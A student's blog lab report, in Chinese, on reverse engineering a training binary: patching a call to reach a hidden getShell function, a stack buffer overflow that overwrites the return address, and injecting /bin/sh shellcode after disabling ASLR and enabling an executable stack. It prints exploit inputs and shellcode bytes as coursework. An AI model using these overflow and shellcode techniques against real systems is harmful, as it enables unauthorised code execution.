2018-2019-2 网络对抗技术 20165333 Exp1 PC平台逆向破解

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。然后学习如何注入运行任何Shellcode。

1.2 实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

简单的思路

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

1.3 基础知识

  • 需要知道一些常用的Linux命令
  • 能看得懂汇编、机器指令、EIP、指令地址。
    NOP:机器码:90。类似一个空指令,执行时CUP什么都不做,执行过这条指令在执行下一条指令。

JNE:机器码:75。如果条件不相等跳转到要跳转的位置。

JE:机器码:74。如果条件相等则跳转。

JMP:机器码:EB。直接跳转到所需跳转的位置。
下面就是任务步骤了!

任务一 直接修改程序机器指令,改变程序执行流程

拿到文件pwn1,做任务之前,当然要先备份一个,防止把源文件给改坏了,用cp命令
用命令objdump -d pwn5333 | more 对文件反汇编

  • 看到代码,其中call 指令,是要调用在0848491 处的foo函数,我们的目的就是把这个地址改了,让它调用getshell函数

  • 对应机器指令为“e8 d7ffffff”,e8就是跳转的意思,本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

  • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
    具体操作:

  • 使用命令vi pwn1修改文件。

  • 进入之后是乱码,使用:%!xxd转换为16进制显示。

  • 使用/d7命令寻找e8d7ffffff机器指令所在地。

  • 找到以后按a进入插入模式,修改d7为c3。

  • 然后使用:%!xxd -r换回乱码的样子,再用:wq保存即可。
    如果不放心,再反汇编看一下主函数main是否直接跳转到getshell函数。

再运行文件pwn就发现可以获取shell了。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

我的理解是,缓冲区是有限的,当数据超出缓冲区,就会覆盖掉返回地址,重点要测算出缓冲区大小,找到返回地址,把返回地址覆盖为我们想要的返回地址。
第一步还是备份一下pwn文件,反汇编文件搞清楚几个函数的作用。然后需要用确认输入字符串哪几个字符会覆盖到返回地址。使用gdb pwn

确认输入字符串哪几个字符会覆盖到返回地址

输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

因为是小端,所以输入11111111222222223333333344444444\x7d\x84\x04\x08

输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16进制查看指令xxd查看input文件的内容是否如预期
确认无误后用(cat input;cat) | ./pwn将input中的字符串作为可执行文件的输入

任务三 注入Shellcode并执行

准备工作

先使用apt-get install execstack安装execstack
设置堆栈

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行

关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

构造要注入的payload

先注入一段代码,构造一个input_shellcode:

 perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
 //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
 //特别提醒:最后一个字符千万不能是\x0a

运行代码(cat input_shellcode;cat) | ./pwn
在另一个窗口用ps -ef | grep pwn查看pwn进程号

启用gdb调试进程,attach xxxxx(进程号)与进程建立连接
disassemble foo反编译;
设置断点break *0x080484ae
在另一个终端回车一下。
查看esp

要改的地址0xffffd30c + 0x00000004 = 0xffffd310
修改成功

实验中遇到的问题

第一次任务三没有成功

发现原来是input_shellcode的代码没有输对(因为没粘贴全)。尴尬,做了好几次才发现。

回答漏洞

我觉得漏洞就是系统或者文件的一些缺陷,有的可以解决,有的就很难,攻击者可以利用漏洞对用户做出攻击造成损失。
漏洞的危害就是导致系统不安全不可靠,影响机密性。

实验感受

做完实验,第一感觉自己很不认真,照着步骤做还做了好久,复制粘贴代码都会错,基本没救;对缓冲区溢出攻击的原理有了更清晰认识,思路更加清晰,但是还有一些小问题没有理解,还要请教大佬们,上课认真听讲!

posted @ 2019-03-17 00:45  20165333陈国超  阅读(210)  评论(0编辑  收藏  举报